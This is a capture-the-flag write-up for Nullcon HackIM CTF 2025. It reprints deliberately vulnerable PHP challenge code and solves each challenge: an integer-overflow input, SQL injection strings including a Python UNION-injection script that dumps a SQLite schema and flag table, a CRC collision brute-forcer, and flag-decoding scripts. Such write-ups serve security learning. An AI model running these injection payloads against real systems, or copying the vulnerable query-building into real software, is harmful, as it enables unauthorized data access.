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Nullcon HackIM CTF 2025 Writeup

null likes · null views · 2025-02-02

Web

Numberizer

Challenge Source

PHP

<?php
ini_set("error_reporting", 0);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php";

$MAX_NUMS = 5;

if(isset($_POST['numbers']) && is_array($_POST['numbers'])) {

    $numbers = array();
    $sum = 0;
    for($i = 0; $i < $MAX_NUMS; $i++) {
        if(!isset($_POST['numbers'][$i]) || strlen($_POST['numbers'][$i])>4 || !is_numeric($_POST['numbers'][$i])) {
            continue;
        }
        $the_number = intval($_POST['numbers'][$i]);
        if($the_number < 0) {
            continue;
        }
        $numbers[] = $the_number;
    }
    $sum = intval(array_sum($numbers));


    if($sum < 0) {
        echo "You win a flag: $FLAG";
    } else {
        echo "You win nothing with number $sum ! :-(";
    }
}
?>

<html>
    <head>
        <title>Numberizer</title>
    </head>
    <body>
        <h1>Numberizer</h1>
        <form action="/" method="post">
            <label for="numbers">Give me at most 10 numbers to sum!</label><br>
            <?php
            for($i = 0; $i < $MAX_NUMS; $i++) {
                echo '<input type="text" name="numbers[]"><br>';
            }
            ?>
            <button type="submit">Submit</button>
        </form>
        <p>To view the source code, <a href="/?source">click here.</a>
    </body>
</html>

Solution

num1: 9e99

num2: 1

Flag

Plain Text

ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}

Paginator

Challenge Source

PHP

<?php
ini_set("error_reporting", 0);
ini_set("display_errors",0);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php";

$db = new SQLite3('/tmp/db.db');
try {
$db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)");
$db->exec("INSERT INTO pages (title, content) VALUES ('Flag', '" . base64_encode($FLAG) . "')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 1', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 2', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 3', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 4', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 5', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 6', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 7', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 8', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 9', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 10', 'This is not a flag, but just a boring page.')");
} catch(Exception $e) {
//var_dump($e);
}


if(isset($_GET['p']) && str_contains($_GET['p'], ",")) {
[$min, $max] = explode(",",$_GET['p']);
if(intval($min) <= 1 ) {
    die("This post is not accessible...");
}
try {
    $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
    $result = $db->query($q);
    while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
        echo $row['title'] . " (ID=". $row['id'] . ") has content: " . $row['content'] . "<br>";
    }
}catch(Exception $e) {
    echo "Try harder!";
}
} else {
    echo "Try harder!";
}
?>

<html>
    <head>
        <title>Paginator</title>
    </head>
    <body>
        <h1>Paginator</h1>
        <a href="/?p=2,10">Show me pages 2-10</a>
        <p>To view the source code, <a href="/?source">click here.</a>
    </body>
</html>

Solution

The payload is /?p=2,10%20or%201=1 (/?p=2,10 or 1=1).

Flag

Plain Text

ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}

Paginator V2

Challenge Source

PHP

<?php
ini_set("error_reporting", 1);
ini_set("display_errors",1);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php"; // Now the juicy part is hidden away! $db = new SQLite3('/tmp/db.db');

try{
$db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 1', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 2', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 3', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 4', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 5', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 6', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 7', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 8', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 9', 'This is not a flag, but just a boring page.')");
$db->exec("INSERT INTO pages (title, content) VALUES ('Page 10', 'This is not a flag, but just a boring page.')");
} catch(Exception $e) {
//var_dump($e);
}


if(isset($_GET['p']) && str_contains($_GET['p'], ",")) {
[$min, $max] = explode(",",$_GET['p']);
if(intval($min) <= 1 ) {
    die("This post is not accessible...");
}
try {
    $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
    $result = $db->query($q);
    while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
        echo $row['title'] . " (ID=". $row['id'] . ") has content: " . $row['content'] . "<br>";
    }
}catch(Exception $e) {
    echo "Try harder!";
}
} else {
    echo "Try harder!";
}
?>

<html>
    <head>
        <title>Paginator v2</title>
    </head>
    <body>
        <h1>Paginator v2</h1>
        <a href="/?p=2,10">Show me pages 2-10</a>
        <p>To view the source code, <a href="/?source">click here.</a>
    </body>
</html>

Solution

The SQL injection method is the same as the Paginator challenge. However, note that the following statement will only take the first two values separated by a comma:

PHP

[$min, $max] = explode(",",$_GET['p']);

So we need to use join in the following exploits.

This is a SQLite3 database, so firstly we leak the table name by:

Python

import requests
url = "http://52.59.124.14:5015/?p=2,10 "
payload = "union select * from (select 1)A join (select 2)B join (select sql from sqlite_master)C"
resp = requests.get(url + payload)
print(resp.text)

The response is:

Plain Text

2 (ID=1) has content: ""
2 (ID=1) has content: "CREATE TABLE flag (id INTEGER PRIMARY KEY, name TEXT UNIQUE, value TEXT)"
2 (ID=1) has content: "CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)"
Page 2 (ID=2) has content: "This is not a flag, but just a boring page."
Page 3 (ID=3) has content: "This is not a flag, but just a boring page."
...

And then we can get the flag by changing the payload to:

Python

payload = "union select * from (select 1)A join (select 2)B join (select value from flag)C"

The response is:

Plain Text

2 (ID=1) has content: "RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvd19BZ0Exbl9BbmRfQWc0MW4hfQ=="
Page 2 (ID=2) has content: "This is not a flag, but just a boring page."
Page 3 (ID=3) has content: "This is not a flag, but just a boring page."
...

Flag

Plain Text

ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow_AgA1n_And_Ag41n!}

Craphp

Challenge Source

PHP

<?php
ini_set("error_reporting", 0);
ini_set("display_errors",0);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}


// https://www.php.net/manual/en/function.crc32.php#28012
function crc16($string) {
    $crc = 0xFFFF;
    for ($x = 0; $x < strlen ($string); $x++) {
        $crc = $crc ^ ord($string[$x]);
        for ($y = 0; $y < 8; $y++) {
        if (($crc & 0x0001) == 0x0001) {
            $crc = (($crc >> 1) ^ 0xA001);
        } else { $crc = $crc >> 1; }
        }
    }
    return $crc;
}


// https://stackoverflow.com/questions/507041/crc8-check-in-php/73305496#73305496
function crc8($input)
{
    $crc8Table = [
        0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
        0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
        0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
        0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
        0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
        0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
        0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
        0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
        0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
        0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
        0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
        0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
        0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
        0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
        0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
        0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
        0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
        0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
        0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
        0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
        0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
        0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
        0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
        0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
        0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
        0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
        0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
        0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
        0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
        0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
        0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
        0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
    ];
    $byteArray = unpack('C*', $input);
    $len = count($byteArray);
    $crc = 0;
    for ($i = 1; $i <= $len; $i++) {
        $crc = $crc8Table[($crc ^ $byteArray[$i]) & 0xff];
    }
    return $crc & 0xff;
}

$MYPASSWORD = "AdM1nP@assW0rd!";
include "flag.php";

if(isset($_POST['password']) && strlen($MYPASSWORD) == strlen($_POST['password'])) {
    $pwhash1 = crc16($MYPASSWORD);
    $pwhash2 = crc8($MYPASSWORD);

    $password = $_POST['password'];
    $pwhash3 = crc16($password);
    $pwhash4 = crc8($password);

    if($MYPASSWORD == $password) {
        die("oops. Try harder!");
    }
    if($pwhash1 != $pwhash3) {
        die("Oops. Nope. Try harder!");
    }
    if($pwhash2 != $pwhash4) {
        die("OoOps. Not quite. Try harder!");
    }
    $access = true;

    if($access) {
        echo "You win a flag: $FLAG";
    } else {
        echo "Denied! :-(";
    }
} else {
    echo "Try harder!";
}
?>

<html>
    <head>
        <title>Craphp</title>
    </head>
    <body>
        <h1>Craphp</h1>
        <form action="/" method="post">
            <label for="password">Give me your password!</label><br>
            <input type="text" name="password"><br>
            <button type="submit">Submit</button>
        </form>
        <p>To view the source code, <a href="/?source">click here.</a>
    </body>
</html>

Solution

The challenge provides two functions in PHP, crc8 and crc16. We need to find a string $password, such that:

$password != "AdM1nP@assW0rd!"

crc8($password) == crc8("AdM1nP@assW0rd!")

crc16($password) == crc16("AdM1nP@assW0rd!")

strlen($password) == strlen("AdM1nP@assW0rd!")

The crc16 checksum has 65536 possible values, and the crc8 checksum has 256 possible values. 65536 * 256 = 16777216, this is not a very large number, which allows us to brute force the result. I rewrite the script in C++.

C++

#include <iostream>
using namespace std;

int crc8(string str)
{
    unsigned char crc8table[] = {
        0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
        0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
        0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
        0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
        0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
        0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
        0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
        0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
        0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
        0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
        0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
        0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
        0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
        0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
        0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
        0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
        0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
        0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
        0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
        0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
        0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
        0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
        0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
        0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
        0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
        0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
        0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
        0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
        0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
        0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
        0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
        0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
    };
    unsigned char crc=0;
    for(char ch:str)
    {
        crc=crc8table[crc^ch];
    }
    return crc;
}

int crc16(string str)
{
    int crc=0xFFFF;
    for(char ch:str)
    {
        crc^=ch;
        for(int i=0;i<8;i++)
        {
            if(crc&1==1) crc=(crc>>1)^0xA001;
            else crc>>=1;
        }
    }
    return crc;
}

int main()
{
    string target="AdM1nP@assW0rd!";
    cout<<crc8(target)<<' '<<crc16(target)<<endl;
    for(int i=0;i<65536*256;i++) // brute force
    {
        char password[16];
        sprintf(password,"abcde%010d",i);
        if(crc8(password)==crc8(target)&&crc16(password)==crc16(target))
        {
            cout<<password<<endl;
        }
    }
    return 0;
}

We can obtain a password abcde0004936564 (not unique).

Flag

Plain Text

ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}}

Reversing

Flag Checker

Solution

Python

expected = [
    0xF8, 0xA8, 0xB8, 0x21, 0x60, 0x73, 0x90, 0x83, 0x80, 0xC3,
    0x9B, 0x80, 0xAB, 0x09, 0x59, 0xD3, 0x21, 0xD3, 0xDB, 0xD8,
    0xFB, 0x49, 0x99, 0xE0, 0x79, 0x3C, 0x4C, 0x49, 0x2C, 0x29,
    0xCC, 0xD4, 0xDC, 0x42
]


# e = flag[i] ^ 0x5A + i
# expected[i] = (e >> 5) | (e << 3)

def rrot3(x):
    return (x >> 3) | (x << 5) & 0xFF


for i in range(len(expected)):
    b1 = rrot3(expected[i])
    b2 = b1 - i
    b3 = b2 ^ 0x5A
    print(chr(b3), end="")

Flag

Plain Text

ENO{R3V3R53_3NG1N33R1NG_M45T3R!!!}

Scrambled

Solution

The chunk size is 4, and the flag starts with ENO{. We can use this information to leak the key, which is 42.

Python

def hex_string_to_byte_list(hexstr):
    assert len(hexstr) % 2 == 0
    return [int(hexstr[i:i + 2], 16) for i in range(0, len(hexstr), 2)]


result = hex_string_to_byte_list("1e78197567121966196e757e1f69781e1e1f7e736d6d1f75196e75191b646e196f6465510b0b0b57")

prefix = "ENO{"
for i in range(len(result)):
    print(result[i] ^ ord(prefix[i % len(prefix)]), end=" ")
    if i % 4 == 3:
        print()

# 91 54 86 14
# 34 92 86 29
# 92 32 58 5
# 90 39 55 101
# 91 81 49 8
# 40 35 80 14
# 92 32 58 98
# 94 42 33 98
# 42 42 42 42    <- leak key!!
# 78 69 68 44

And then... Alright, I just combining these chunks together to make the flag read smoothly. The expected solution might be to leak the seed based on the position of the first chunk, and then obtain the correct order of the chunk sequence.

Python

key = 42

for i in range(len(result)):
    print(chr(result[i] ^ key), end="")
    if i % 4 == 3:
        print()

# 4R3_
# M83L
# 3D_T
# 5CR4
# 45TY
# GG5_
# 3D_3
# 1ND3
# ENO{
# !!!}

Flag

Plain Text

ENO{5CR4M83L3D_3GG5_4R3_1ND33D_T45TY!!!}

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